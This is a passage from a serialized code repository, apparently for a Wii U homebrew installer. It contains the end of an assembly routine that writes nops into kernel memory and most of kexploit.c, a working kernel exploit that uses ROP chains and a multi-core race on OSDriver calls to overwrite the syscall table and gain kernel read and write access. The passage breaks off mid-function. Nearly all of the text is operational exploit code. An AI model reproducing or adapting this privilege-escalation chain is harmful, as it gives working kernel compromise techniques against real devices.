SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_3)\n#endif\n#ifdef BAT_SET_NOP_ADDR_4\n    SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_4)\n#endif\n#ifdef BAT_SET_NOP_ADDR_5\n    SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_5)\n#endif\n#ifdef BAT_SET_NOP_ADDR_6\n    SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_6)\n#endif\n#ifdef BAT_SET_NOP_ADDR_7\n    SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_7)\n#endif\n\n#if (defined(BAT_SET_NOP_ADDR_8) && defined(BAT_SET_NOP_ADDR_9))\n    # memory barrier\n    eieio\n    isync\n\n    # setup DBAT0 for access to kernel code memory\n    lis r3, 0xFFEE\n    ori r3, r3, 0x0002\n    mtdbatu 0, r3\n    lis r3, 0xFFEE\n    ori r3, r3, 0x0032\n    mtdbatl 0, r3\n\n    # memory barrier\n    eieio\n    isync\n\n    # write \"nop\" to some positions\n    lis r4, 0x6000\n    SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_8)\n    SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_9)\n#endif\n\n    # memory barrier\n    eieio\n    isync\n\n    # restore DBAT 0 and return from interrupt\n    mtdbatu 0, r5\n    mtdbatl 0, r6\n\n    # memory barrier\n    eieio\n    isync\n\n    blr\n\n"
  },
  {
    "path": "installer/kexploit.c",
    "content": "#include \"kexploit.h\"\n\nvoid wait(unsigned int coreinit_handle, unsigned int t);\nvoid doBrowserShutdown(unsigned int coreinit_handle);\nvoid setupOSScreen(unsigned int coreinit_handle);\nvoid printOSScreenMsg(unsigned int coreinit_handle, char *buf,unsigned int pos);\nvoid exitOSScreen(unsigned int coreinit_handle);\nvoid callSysExit(unsigned int coreinit_handle, void *sysFunc);\n\n#if (VER >= 532)\n/* Initial setup code stolen from Pong, makes race much more reliable */\nvoid run_kexploit(private_data_t *private_data)\n{\n\t/* Get a handle to coreinit.rpl and gx2.rpl */\n\tunsigned int coreinit_handle = private_data->coreinit_handle;\n\tunsigned int gx2_handle = 0;\n\tOSDynLoad_Acquire(\"gx2.rpl\", &gx2_handle);\n\n    //needed to not destroy screen\n    doBrowserShutdown(coreinit_handle);\n\n\t/* Exit functions */\n\tvoid (*__PPCExit)();\n\tvoid (*_Exit)();\n\tOSDynLoad_FindExport(coreinit_handle, 0, \"__PPCExit\", &__PPCExit);\n\tOSDynLoad_FindExport(coreinit_handle, 0, \"_Exit\", &_Exit);\n\n\t/* Memory functions */\n\tvoid (*DCFlushRange)(void *buffer, uint32_t length);\n\tvoid (*DCInvalidateRange)(void *buffer, uint32_t length);\n\tvoid (*DCTouchRange)(void *buffer, uint32_t length);\n\tuint32_t (*OSEffectiveToPhysical)(void *vaddr);\n\tvoid* (*OSAllocFromSystem)(uint32_t size, int align);\n\tvoid (*OSFreeToSystem)(void *ptr);\n\tOSDynLoad_FindExport(coreinit_handle, 0, \"DCFlushRange\", &DCFlushRange);\n\tOSDynLoad_FindExport(coreinit_handle, 0, \"DCInvalidateRange\", &DCInvalidateRange);\n\tOSDynLoad_FindExport(coreinit_handle, 0, \"DCTouchRange\", &DCTouchRange);\n\tOSDynLoad_FindExport(coreinit_handle, 0, \"OSEffectiveToPhysical\", &OSEffectiveToPhysical);\n\tOSDynLoad_FindExport(coreinit_handle, 0, \"OSAllocFromSystem\", &OSAllocFromSystem);\n\tOSDynLoad_FindExport(coreinit_handle, 0, \"OSFreeToSystem\", &OSFreeToSystem);\n\n\t/* OS thread functions */\n\tbool (*OSCreateThread)(void *thread, void *entry, int argc, void *args, uint32_t stack, uint32_t stack_size, int priority, uint16_t attr);\n\tint (*OSResumeThread)(void *thread);\n\tvoid (*OSExitThread)();\n    int (*OSIsThreadTerminated)(void *thread);\n\tOSDynLoad_FindExport(coreinit_handle, 0, \"OSCreateThread\", &OSCreateThread);\n\tOSDynLoad_FindExport(coreinit_handle, 0, \"OSResumeThread\", &OSResumeThread);\n\tOSDynLoad_FindExport(coreinit_handle, 0, \"OSExitThread\", &OSExitThread);\n\tOSDynLoad_FindExport(coreinit_handle, 0, \"OSIsThreadTerminated\", &OSIsThreadTerminated);\n\n\t/* OSDriver functions */\n\tuint32_t reg[] = {0x38003200, 0x44000002, 0x4E800020};\n\tuint32_t (*Register)(char *driver_name, uint32_t name_length, void *buf1, void *buf2) = find_gadget(reg, 0xc, (uint32_t) __PPCExit);\n\tuint32_t dereg[] = {0x38003300, 0x44000002, 0x4E800020};\n\tuint32_t (*Deregister)(char *driver_name, uint32_t name_length) = find_gadget(dereg, 0xc, (uint32_t) __PPCExit);\n\tuint32_t copyfrom[] = {0x38004700, 0x44000002, 0x4E800020};\n\tuint32_t (*CopyFromSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length) = find_gadget(copyfrom, 0xc, (uint32_t) __PPCExit);\n\tuint32_t copyto[] = {0x38004800, 0x44000002, 0x4E800020};\n\tuint32_t (*CopyToSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length) = find_gadget(copyto, 0xc, (uint32_t) __PPCExit);\n\n\t/* GX2 functions */\n\tvoid (*GX2SetSemaphore)(uint64_t *sem, int action);\n\tvoid (*GX2Flush)(void);\n\tOSDynLoad_FindExport(gx2_handle, 0, \"GX2SetSemaphore\", &GX2SetSemaphore);\n\tOSDynLoad_FindExport(gx2_handle, 0, \"GX2Flush\", &GX2Flush);\n\n\t/* Allocate space for DRVHAX */\n\tuint32_t *drvhax = OSAllocFromSystem(0x4c, 4);\n\n\t/* Set the kernel heap metadata entry */\n\tuint32_t *metadata = (uint32_t*) (KERN_HEAP + METADATA_OFFSET + (0x02000000 * METADATA_SIZE));\n\tmetadata[0] = (uint32_t)drvhax;\n\tmetadata[1] = (uint32_t)-0x4c;\n\tmetadata[2] = (uint32_t)-1;\n\tmetadata[3] = (uint32_t)-1;\n\n\t/* Find some gadgets */\n\tuint32_t gx2data[] = {0xfc2a0000};\n\tuint32_t gx2data_addr = (uint32_t) find_gadget(gx2data, 0x04, 0x10000000);\n\tuint32_t r3r4load[] = {0x80610008, 0x8081000C, 0x80010014, 0x7C0803A6, 0x38210010, 0x4E800020};\n\tuint32_t r3r4load_addr = (uint32_t) find_gadget(r3r4load, 0x18, 0x01000000);\n\tuint32_t r30r31load[] = {0x80010014, 0x83e1000c, 0x7c0803a6, 0x83c10008, 0x38210010, 0x4e800020};\n\tuint32_t r30r31load_addr = (uint32_t) find_gadget(r30r31load, 0x18, 0x01000000);\n\tuint32_t doflush[] = {0xba810008, 0x8001003c, 0x7c0803a6, 0x38210038, 0x4e800020, 0x9421ffe0, 0xbf61000c, 0x7c0802a6, 0x7c7e1b78, 0x7c9f2378, 0x90010024};\n\tuint32_t doflush_addr = (uint32_t) find_gadget(doflush, 0x2C, 0x01000000) + 0x14 + 0x18;\n\n\t/* Modify a next ptr on the heap */\n\tuint32_t kpaddr = KERN_HEAP_PHYS + STARTID_OFFSET;\n\n\t/* Make a thread to modify the semaphore */\n\tOSContext *thread = (OSContext*)private_data->MEMAllocFromDefaultHeapEx(0x1000,8);\n\tuint32_t *stack = (uint32_t*)private_data->MEMAllocFromDefaultHeapEx(0xa0,0x20);\n\tif (!OSCreateThread(thread, (void*)0x11a1dd8, 0, NULL, ((uint32_t)stack) + 0xa0, 0xa0, 0, 0x1 | 0x8)) OSFatal(\"Failed to create thread\");\n\n\t/* Set up the ROP chain */\n\tthread->gpr[1] = (uint32_t)stack;\n\tthread->gpr[3] = kpaddr;\n\tthread->gpr[30] = gx2data_addr;\n\tthread->gpr[31] = 1;\n\tthread->srr0 = ((uint32_t)GX2SetSemaphore) + 0x2C;\n\n\tstack[0x24/4] = r30r31load_addr;\t\t\t\t\t/* Load r30/r31 - stack=0x20 */\n\tstack[0x28/4] = gx2data_addr;\t\t\t\t\t\t/* r30 = GX2 data area */\n\tstack[0x2c/4] = 1;\t\t\t\t\t\t\t\t\t/* r31 = 1 (signal) */\n\n\tstack[0x34/4] = r3r4load_addr;\t\t\t\t\t\t/* Load r3/r4 - stack=0x30 */\n\tstack[0x38/4] = kpaddr;\n\n\tstack[0x44/4] = ((uint32_t)GX2SetSemaphore) + 0x2C;\t/* GX2SetSemaphore() - stack=0x40 */\n\n\tstack[0x64/4] = r30r31load_addr;\t\t\t\t\t/* Load r30/r31 - stack=0x60 */\n\tstack[0x68/4] = 0x100;\t\t\t\t\t\t\t\t/* r30 = r3 of do_flush = 0x100 */\n\tstack[0x6c/4] = 1;\t\t\t\t\t\t\t\t\t/* r31 = r4 of do_flush = 1 */\n\n\tstack[0x74/4] = doflush_addr;\t\t\t\t\t\t/* do_flush() - stack=0x70 */\n\n\tstack[0x94/4] = (uint32_t)OSExitThread;\n\n\tDCFlushRange(stack, 0xa0);\n\tDCFlushRange(thread, 0x1000);\n\n\t/* Start the thread */\n\tOSResumeThread(thread);\n\n\t/* Wait for a while */\n    while(OSIsThreadTerminated(thread) == 0)\n    {\n        asm volatile (\n        \"    nop\\n\"\n        \"    nop\\n\"\n        \"    nop\\n\"\n        \"    nop\\n\"\n        \"    nop\\n\"\n        \"    nop\\n\"\n        \"    nop\\n\"\n        \"    nop\\n\"\n        );\n    }\n\n\t/* Free stuff */\n\tprivate_data->MEMFreeToDefaultHeap(thread);\n\tprivate_data->MEMFreeToDefaultHeap(stack);\n\n\t/* Register a new OSDriver, DRVHAX */\n\tchar drvname[8] = {'D', 'R', 'V', 'H', 'A', 'X', '\\0'};\n\tRegister(drvname, 6, NULL, NULL);\n\n\t/* Modify its save area to point to the kernel syscall table */\n\tdrvhax[0x44/4] = KERN_SYSCALL_TBL + (0x34 * 4);\n\n\t/* Use DRVHAX to install the read and write syscalls */\n\tuint32_t syscalls[2] = {KERN_CODE_READ, KERN_CODE_WRITE};\n\tCopyToSaveArea(drvname, 6, syscalls, 8);\n\n\t/* Clean up the heap and driver list so we can exit */\n\tkern_write((void*)(KERN_HEAP + STARTID_OFFSET), 0);\n\tkern_write((void*)KERN_DRVPTR, drvhax[0x48/4]);\n\n\t/* Modify the kernel address table and exit */\n\t//kern_write(KERN_ADDRESS_TBL + 0x12, 0x31000000);\n\t//kern_write(KERN_ADDRESS_TBL + 0x13, 0x28305800);\n}\n\n#else\ntypedef struct\n{\n    char *drvb_name;\n    void *copy_payload;\n    void *thread0;\n    void *thread2;\n    uint32_t *rop0;\n    uint32_t *rop2;\n\n    void (*OSYieldThread)(void);\n    int32_t (*OSResumeThread)(void * thread);\n    uint32_t (*CopyToSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length);\n} thread_data_container_t;\n\nstatic void thread_callback(int argc, void *argv)\n{\n    thread_data_container_t *container = (thread_data_container_t*)argv;\n\n    container->OSYieldThread();\n\n    /* Schedule both threads for execution */\n    container->OSResumeThread(container->thread0);\n    container->OSResumeThread(container->thread2);\n\n    /* Signal the CPU0 and CPU2 threads to begin */\n    container->rop0[0x1fc/4] = 0;\n    container->rop2[0x1ac/4] = 0;\n\n    container->OSYieldThread();\n\n    container->CopyToSaveArea(container->drvb_name, 4,  container->copy_payload, 0x1000);\n}\n\n\n/* Initial setup code stolen from Pong, makes race much more reliable */\nvoid run_kexploit(private_data_t *private_data)\n{\n    unsigned int coreinit_handle, sysapp_handle;\n    OSDynLoad_Acquire(\"coreinit\", &coreinit_handle);\n    OSDynLoad_Acquire(\"sysapp\", &sysapp_handle);\n    //needed to not destroy screen\n    doBrowserShutdown(coreinit_handle);\n    //prints out first message as well\n    setupOSScreen(coreinit_handle);\n\n    if(KERN_SYSCALL_TBL == 0)\n    {\n        printOSScreenMsg(coreinit_handle, \"Your kernel version has not been implemented yet.\",1);\n        wait(coreinit_handle, 0x3FFFF);\n        exitOSScreen(coreinit_handle);\n    }\n\n    //OS Memory functions\n    void*(*memset)(void *dest, uint32_t value, uint32_t bytes);\n    void*(*memcpy)(void *dest, void *src, uint32_t length);\n    void*(*OSAllocFromSystem)(uint32_t size, int align);\n    void (*OSFreeToSystem)(void *ptr);\n    void (*DCFlushRange)(void *buffer, uint32_t length);\n    void (*DCInvalidateRange)(void *buffer, uint32_t length);\n    void (*ICInvalidateRange)(void *buffer, uint32_t length);\n\n    /* OS thread functions */\n    bool (*OSCreateThread)(void *thread, void *entry, int argc, void *args, uint32_t stack, uint32_t stack_size, int32_t priority, uint16_t attr);\n    int32_t (*OSResumeThread)(void *thread);\n    int32_t (*OSGetThreadPriority)(void *thread);\n    void * (*OSGetCurrentThread)(void);\n    void (*OSYieldThread)(void);\n    int (*OSIsThreadTerminated)(void *thread);\n\n    /* Exit functions */\n    void (*__PPCExit)();\n    void (*_Exit)();\n\n    int(*SYSSwitchToBrowser)(void *args);\n    int(*SYSLaunchSettings)(void *args);\n\n    /* Read the addresses of the functions */\n    OSDynLoad_FindExport(coreinit_handle, 0, \"memset\", &memset);\n    OSDynLoad_FindExport(coreinit_handle, 0, \"memcpy\", &memcpy);\n    OSDynLoad_FindExport(coreinit_handle, 0, \"OSAllocFromSystem\", &OSAllocFromSystem);\n    OSDynLoad_FindExport(coreinit_handle, 0, \"OSFreeToSystem\", &OSFreeToSystem);\n    OSDynLoad_FindExport(coreinit_handle, 0, \"DCFlushRange\", &DCFlushRange);\n    OSDynLoad_FindExport(coreinit_handle, 0, \"DCInvalidateRange\", &DCInvalidateRange);\n    OSDynLoad_FindExport(coreinit_handle, 0, \"ICInvalidateRange\", &ICInvalidateRange);\n\n    OSDynLoad_FindExport(coreinit_handle, 0, \"OSCreateThread\", &OSCreateThread);\n    OSDynLoad_FindExport(coreinit_handle, 0, \"OSResumeThread\", &OSResumeThread);\n    OSDynLoad_FindExport(coreinit_handle, 0, \"OSGetThreadPriority\", &OSGetThreadPriority);\n    OSDynLoad_FindExport(coreinit_handle, 0, \"OSGetCurrentThread\", &OSGetCurrentThread);\n    OSDynLoad_FindExport(coreinit_handle, 0, \"OSYieldThread\", &OSYieldThread);\n    OSDynLoad_FindExport(coreinit_handle, 0, \"OSIsThreadTerminated\", &OSIsThreadTerminated);\n\n    OSDynLoad_FindExport(coreinit_handle, 0, \"__PPCExit\", &__PPCExit);\n    OSDynLoad_FindExport(coreinit_handle, 0, \"_Exit\", &_Exit);\n\n    OSDynLoad_FindExport(sysapp_handle, 0, \"SYSSwitchToBrowser\", &SYSSwitchToBrowser);\n    OSDynLoad_FindExport(sysapp_handle, 0, \"SYSLaunchSettings\", &SYSLaunchSettings);\n\n    /* Allocate a stack for the threads */\n    uint32_t stack0 = (uint32_t) private_data->MEMAllocFromDefaultHeapEx(0x300, 0x20);\n    uint32_t stack2 = (uint32_t) private_data->MEMAllocFromDefaultHeapEx(0x300, 0x20);\n    uint32_t stack1 = (uint32_t) private_data->MEMAllocFromDefaultHeapEx(0x300, 0x20);\n\n    /* Create the threads */\n    void *thread0 = private_data->MEMAllocFromDefaultHeapEx(OSTHREAD_SIZE, 8);\n    bool ret0 = OSCreateThread(thread0, _Exit, 0, NULL, stack0 + 0x300, 0x300, 0, 1 | 0x10 | 8);\n    void *thread2 = private_data->MEMAllocFromDefaultHeapEx(OSTHREAD_SIZE, 8);\n    bool ret2 = OSCreateThread(thread2, _Exit, 0, NULL, stack2 + 0x300, 0x300, 0, 4 | 0x10 | 8);\n    void *thread1 = private_data->MEMAllocFromDefaultHeapEx(OSTHREAD_SIZE, 8);\n    if (ret0 == false || ret2 == false)\n    {\n        printOSScreenMsg(coreinit_handle, \"Failed to create threads! Please try again.\",1);\n        wait(coreinit_handle, 0x3FFFF);\n        exitOSScreen(coreinit_handle);\n    }\n\n    printOSScreenMsg(coreinit_handle, \"Running Exploit...\",1);\n\n    /* Find a bunch of gadgets */\n    uint32_t sleep_addr;\n    OSDynLoad_FindExport(coreinit_handle, 0, \"OSSleepTicks\", &sleep_addr);\n    sleep_addr += 0x44;\n    uint32_t sigwait[] = {0x801F0000, 0x7C0903A6, 0x4E800421, 0x83FF0004, 0x2C1F0000, 0x4082FFEC, 0x80010014, 0x83E1000C, 0x7C0803A6, 0x38210010, 0x4E800020};\n    uint32_t sigwait_addr = (uint32_t) find_gadget(sigwait, 0x2c, (uint32_t) __PPCExit);\n    uint32_t r3r4load[] = {0x80610008, 0x8081000C, 0x80010014, 0x7C0803A6, 0x38210010, 0x4E800020};\n    uint32_t r3r4load_addr = (uint32_t) find_gadget(r3r4load, 0x18, (uint32_t) __PPCExit);\n    uint32_t r5load[] = {0x80A10008, 0x38210010, 0x7CA32B78, 0x80810004, 0x7C8803A6, 0x4E800020};\n    uint32_t r5load_addr = (uint32_t) find_gadget(r5load, 0x18, (uint32_t) __PPCExit);\n    uint32_t r6load[] = {0x80C10014, 0x90610010, 0x80010010, 0x915E002C, 0x81210008, 0x901E0030, 0x913E0028, 0x90DE0034, 0x80010034, 0x83E1002C, 0x7C0803A6, 0x83C10028, 0x38210030, 0x4E800020};\n    uint32_t r6load_addr = (uint32_t) find_gadget(r6load, 0x38, (uint32_t) __PPCExit);\n    uint32_t r30r31load[] = {0x80010034, 0x83E1002C, 0x7C0803A6, 0x83C10028, 0x38210030, 0x4E800020};\n    uint32_t r30r31load_addr = (uint32_t) find_gadget(r30r31load, 0x18, (uint32_t) __PPCExit);\n\n    /* Find the OSDriver functions */\n    uint32_t reg[] = {0x38003200, 0x44000002, 0x4E800020};\n    uint32_t (*Register)(char *driver_name, uint32_t name_length, void *buf1, void *buf2) = find_gadget(reg, 0xc, (uint32_t) __PPCExit);\n    uint32_t dereg[] = {0x38003300, 0x44000002, 0x4E800020};\n    uint32_t (*Deregister)(char *driver_name, uint32_t name_length) = find_gadget(dereg, 0xc, (uint32_t) __PPCExit);\n    uint32_t copyfrom[] = {0x38004700, 0x44000002, 0x4E800020};\n    uint32_t (*CopyFromSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length) = find_gadget(copyfrom, 0xc, (uint32_t) __PPCExit);\n    uint32_t copyto[] = {0x38004800, 0x44000002, 0x4E800020};\n    uint32_t (*CopyToSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length) = find_gadget(copyto, 0xc, (uint32_t) __PPCExit);\n\n    /* Set up the ROP chain for CPU0 */\n    OSContext *ctx0 = (OSContext*) thread0;\n    uint32_t *rop0 = (uint32_t*) stack0;\n    ctx0->gpr[1] = stack0 + 0x80;\n    ctx0->gpr[28] = 0;\n    ctx0->gpr[29] = CPU0_WAIT_TIME * 2;\n    ctx0->gpr[31] = stack0 + 0x1f8;\n    ctx0->srr0 = sigwait_addr + 0xc;\n    rop0[0x94/4] = sleep_addr;\n    rop0[0x114/4] = r3r4load_addr;\n    rop0[0x118/4] = stack0 + 0x208;\n    rop0[0x11c/4] = 4;\n    rop0[0x124/4] = r30r31load_addr;\n    rop0[0x14c/4] = stack0 + 0x220;\n    rop0[0x154/4] = sigwait_addr;\n    rop0[0x164/4] = r5load_addr;\n    rop0[0x168/4] = stack0 + 0x218;\n    rop0[0x174/4] = r3r4load_addr;\n    rop0[0x178/4] = stack0 + 0x210;\n    rop0[0x17c/4] = 4;\n    rop0[0x184/4] = r30r31load_addr;\n    rop0[0x1a8/4] = stack0 + 0x230;\n    rop0[0x1b4/4] = r6load_addr;\n    rop0[0x1c4/4] = stack0 + 0x21c;\n    rop0[0x1dc/4] = stack0 + 0x228;\n    rop0[0x1e4/4] = sigwait_addr;\n    rop0[0x1f4/4] = sigwait_addr + 0x28;\n    rop0[0x1f8/4] = sigwait_addr + 0xc;\n    rop0[0x1fc/4] = stack0 + 0x1f8;\n    rop0[0x200/4] = 0;\n    rop0[0x204/4] = 0;\n    rop0[0x208/4] = 0x44525642;\n    rop0[0x20c/4] = 0;\n    rop0[0x210/4] = 0x44525643;\n    rop0[0x214/4] = 0;\n    rop0[0x218/4] = 0;\n    rop0[0x21c/4] = 0;\n    rop0[0x220/4] = (uint32_t)Deregister;\n    rop0[0x224/4] = 0;\n    rop0[0x228/4] = (uint32_t)Register;\n    rop0[0x22c/4] = 0;\n\n    /* Set up the ROP chain for CPU2 */\n    OSContext *ctx2 = (OSContext*) thread2;\n    uint32_t *rop2 = (uint32_t*) stack2;\n    ctx2->gpr[1] = stack2 + 0x80;\n    ctx2->gpr[28] = 0;\n    ctx2->gpr[29] = CPU2_WAIT_TIME * 4;\n    ctx2->gpr[31] = stack2 + 0x1a8;\n    ctx2->srr0 = sigwait_addr + 0xc;\n    rop2[0x94/4] = sleep_addr;\n    rop2[0x114/4] = r5load_addr;\n    rop2[0x118/4] = stack2 + 0x204;\n    rop2[0x124/4] = r3r4load_addr;\n    rop2[0x128/4] = stack2 + 0x1b8;\n    rop2[0x12c/4] = 4;\n    rop2[0x134/4] = r30r31load_addr;\n    rop2[0x158/4] = stack2 + 0x1c8;\n    rop2[0x164/4] = r6load_addr;\n    rop2[0x174/4] = 4;\n    rop2[0x18c/4] = stack2 + 0x1c0;\n    rop2[0x194/4] = sigwait_addr;\n    rop2[0x1a4/4] = sigwait_addr + 0x28;\n    rop2[0x1a8/4] = sigwait_addr + 0xc;\n    rop2[0x1ac/4] = stack2 + 0x1a8;\n    rop2[0x1b0/4] = 0;\n    rop2[0x1b4/4] = 0;\n    rop2[0x1b8/4] = 0x44525641;\n    rop2[0x1bc/4] = 0;\n    rop2[0x1c0/4] = (uint32_t)CopyToSaveArea;\n    rop2[0x1c4/4] = 0;\n    rop2[0x204/4] = 0xDEADC0DE;\n\n    /* Register driver A and driver B */\n    char *drva_name = private_data->MEMAllocFromDefaultHeapEx(8, 4);\n    memcpy(drva_name, \"DRVA\", 5);\n    char *drvb_name = private_data->MEMAllocFromDefaultHeapEx(8, 4);\n    memcpy(drvb_name, \"DRVB\", 5);\n    uint32_t status = Register(drva_name, 4, NULL, NULL) | Register(drvb_name, 4, NULL, NULL);\n    if (status != 0)\n    {\n        printOSScreenMsg(coreinit_handle, \"Register() of driver A and B failed! Reloading kernel...\",2);\n        wait(coreinit_handle, 0x3FFFF);\n        callSysExit(coreinit_handle,SYSLaunchSettings);\n        exitOSScreen(coreinit_handle);\n    }\n\n    /* Generate the copy payload, which writes to syscall_table[0x34] */\n    uint32_t *copy_payload = OSAllocFromSystem(0x1000, 0x20);\n    if (!copy_payload)\n    {\n        printOSScreenMsg(coreinit_handle, \"Failed to allocate payload! Reloading kernel...\",2);\n        wait(coreinit_handle, 0x3FFFF);\n        callSysExit(coreinit_handle,SYSLaunchSettings);\n        exitOSScreen(coreinit_handle);\n    }\n    copy_payload[0] = 0x01234567;\n    copy_payload[0xfb4/4] = 0x44525648;\n    copy_payload[0xfb8/4] = 0x41580000;\n    copy_payload[0xff4/4] = PFID_BROWSER;\n    copy_payload[0xff8/4] = KERN_SYSCALL_TBL + (0x34 * 4);\n    DCFlushRange(copy_payload, 0x1000);\n    DCInvalidateRange(copy_payload, 0x1000);\n\n    char *drvhax_name = private_data->MEMAllocFromDefaultHeapEx(8, 4);\n    drvhax_name[7] = 0;\n    memcpy(drvhax_name, \"DRVHAX\", 7);\n    uint32_t *syscalls = private_data->MEMAllocFromDefaultHeapEx(8, 4);\n    syscalls[0] = KERN_CODE_READ;\n    syscalls[1] = KERN_CODE_WRITE;\n\n    /* Do a dummy copy to put CopyToSaveArea() in our cache */\n    CopyToSaveArea(drvb_name, 4, (void*)0xC0000004, 4);\n\n    thread_data_container_t container;\n    container.drvb_name = drvb_name;\n    container.copy_payload = copy_payload;\n    container.rop0 = rop0;\n    container.rop2 = rop2;\n    container.thread0 = thread0;\n    container.thread2 = thread2;\n    container.OSResumeThread = OSResumeThread;\n    container.OSYieldThread = OSYieldThread;\n    container.CopyToSaveArea = CopyToSaveArea;\n\n    bool ret3 = OSCreateThread(thread1, thread_callback, 1, &container, stack1 + 0x300, 0x300, OSGetThreadPriority(OSGetCurrentThread()), 2 | 0x10 | 8);\n\n    OSYieldThread();\n    /* Schedule both threads for execution */\n    //OSResumeThread(thread0);\n    //OSResumeThread(thread2);\n    OSResumeThread(thread1);\n\n\n    /* Signal the CPU0 and CPU2 threads to begin */\n    //rop2[0x1ac/4] = 0;\n    //rop0[0x1fc/4] = 0;\n\n    /* Start copying the payload into driver B's save area */\n    //CopyToSaveArea(drvb_name, 4, copy_payload, 0x1000);\n\n    /* The amount of instructions in this loop and the sleep ticks of the other cores can decide whether its a success or not  */\n    while(OSIsThreadTerminated(thread1) == 0)\n    {\n        asm volatile (\n        \"    nop\\n\"\n        \"    nop\\n\"\n        \"    nop\\n\"\n        \"    nop\\n\"\n        \"    nop\\n\"\n        \"    nop\\n\"\n        \"    nop\\n\"\n        \"    nop\\n\"\n        );\n\n        OSYieldThread();\n    }\n\n    /* Use DRVHAX to install the read and write syscalls */\n    status = CopyToSaveArea(drvhax_name, 6, syscalls, 8);\n\n    /* Verify that the syscalls were installed */\n    uint32_t result = 42;\n    status = CopyFromSaveArea(drvhax_name, 6, &result, 4);\n    if (result != KERN_CODE_READ)\n    {\n        printOSScreenMsg(coreinit_handle, \"Race attack failed! Reloading kernel...\",2);\n        wait(coreinit_handle, 0x3FFFF);\n        callSysExit(coreinit_handle,SYSLaunchSettings);\n        exitOSScreen(coreinit_handle);\n    }\n\n    /* Search the kernel heap for DRVA and DRVHAX */\n    uint32_t drva_addr = 0, drvhax_addr = 0;\n    uint32_t metadata_addr = KERN_HEAP + 0x14 + (kern_read((void*)(KERN_HEAP + 0x0c)) * 0x10);\n    while (metadata_addr >= KERN_HEAP + 0x14)\n    {\n        /* Read the data address from the metadata, then read the data */\n        uint32_t data_addr = kern_read((void*)metadata_addr);\n        uint32_t data = kern_read((void*)data_addr);\n\n        /* Check for DRVA or DRVHAX, and if both are found, break */\n        if (data == 0x44525641) drva_addr = data_addr;\n        else if (data == 0x44525648) drvhax_addr = data_addr;\n        if (drva_addr && drvhax_addr) break;\n\n        /* Go to the previous metadata entry */\n        metadata_addr -= 0x10;\n    }\n    if (!(drva_addr && drvhax_addr))\n    {\n        printOSScreenMsg(coreinit_handle, \"Failed to find DRVA or DRVHAX! Reloading kernel...\",2);\n        wait(coreinit_handle, 0x3FFFF);\n        callSysExit(coreinit_handle,SYSLaunchSettings);\n        exitOSScreen(coreinit_handle);\n    }\n    /* Make DRVHAX point to DRVA to ensure a clean exit */\n    kern_write((void*)(drvhax_addr + 0x48), drva_addr);\n\n    private_data->MEMFreeToDefaultHeap(thread0);\n    private_data->MEMFreeToDefaultHeap(thread1);\n    private_data->MEMFreeToDefaultHeap(thread2);\n    private_data->MEMFreeToDefaultHeap((void*)stack0);\n    private_data->MEMFreeToDefaultHeap((void*)stack1);\n    private_data->MEMFreeToDefaultHeap((void*)stack2);\n\n    //printOSScreenMsg(coreinit_handle, \"Success! Re-launch HBL again...\",2);\n    //wait(coreinit_handle, 0x3FFFF);\n    //callSysExit(coreinit_handle,SYSSwitchToBrowser);\n    //exitOSScreen(coreinit_handle);\n}\n#endif\n\n\nvoid wait(unsigned int coreinit_handle, unsigned int t)\n{\n    void (*OSYieldThread)(void);\n    OSDynLoad_FindExport(coreinit_handle, 0, \"OSYieldThread\", &OSYieldThread);\n\n    while(t--)\n    {\n        OSYieldThread();\n    }\n}\n\nvoid doBrowserShutdown(unsigned int coreinit_handle)\n{\n    void*(*memset)(void *dest, uint32_t value, uint32_t bytes);\n    void*(*OSAllocFromSystem)(uint32_t size, int align);\n    void (*OSFreeToSystem)(void *ptr);\n\n    int(*IM_SetDeviceState)(int fd, void *mem, int state, int a, int b);\n    int(*IM_Close)(int fd);\n    int(*IM_Open)();\n\n    OSDynLoad_FindExport(coreinit_handle, 0, \"memset\", &memset);\n    OSDynLoad_FindExport(coreinit_handle, 0, \"OSAllocFromSystem\", &OSAllocFromSystem);\n    OSDynLoad_FindExport(coreinit_handle, 0, \"OSFreeToSystem\", &OSFreeToSystem);\n\n    OSDynLoad_FindExport(coreinit_handle, 0, \"IM_SetDeviceState\", &IM_SetDeviceState);\n    OSDynLoad_FindExport(coreinit_handle, 0, \"IM_Close\", &IM_Close);\n    OSDynLoad_FindExport(coreinit_handle, 0, \"IM_Open\", &IM_Open);\n\n    //Restart system to get lib access\n    int fd = IM_Open();\n    void *mem = OSAllocFromSystem(0x100, 64);\n    memset(mem, 0, 0x100);\n    //set restart flag to force quit browser\n    IM_SetDeviceState(fd, mem, 3, 0, 0);\n    IM_Close(fd);\n    OSFreeToSystem(mem);\n    //wait a bit for browser end\n    wait(coreinit_handle, 0x3FFFF);\n}\n\nvoid drawString(unsigned int coreinit_handle, int x, int y, char * string)\n{\n    unsigned int(*OSScreenPutFontEx)(unsigned int bufferNum, unsigned int posX, unsigned int posY, void * buffer);\n    OSDynLoad_FindExport(coreinit_handle, 0, \"OSScreenPutFontEx\", &OSScreenPutFontEx);\n    OSScreenPutFontEx(0, x, y, string);\n    OSScreenPutFontEx(1, x, y, string);\n}\n\nvoid fillScreen(unsigned int coreinit_handle, char r,char g,char b,char a)\n{\n    unsigned int(*OSScreenClearBufferEx)(unsigned int bufferNum, unsigned int temp);\n    OSDynLoad_FindExport(coreinit_handle, 0, \"OSScreenClearBufferEx\", &OSScreenClearBufferEx);\n    uint32_t num = (r << 24) | (g << 16) | (b << 8) | a;\n    OSScreenClearBufferEx(0, num);\n    OSScreenClearBufferEx(1, num);\n}\n\nvoid flipBuffers(unsigned int coreinit_handle)\n{\n    void(*DCFlushRange)(void *buffer, uint32_t length);\n    unsigned int(*OSScreenFlipBuffersEx)(unsigned int bufferNum);\n    OSDynLoad_FindExport(coreinit_handle, 0, \"DCFlushRange\", &DCFlushRange);\n    OSDynLoad_FindExport(coreinit_handle, 0, \"OSScreenFlipBuffersEx\", &OSScreenFlipBuffersEx);\n    unsigned int(*OSScreenGetBufferSizeEx)(unsigned int bufferNum);\n  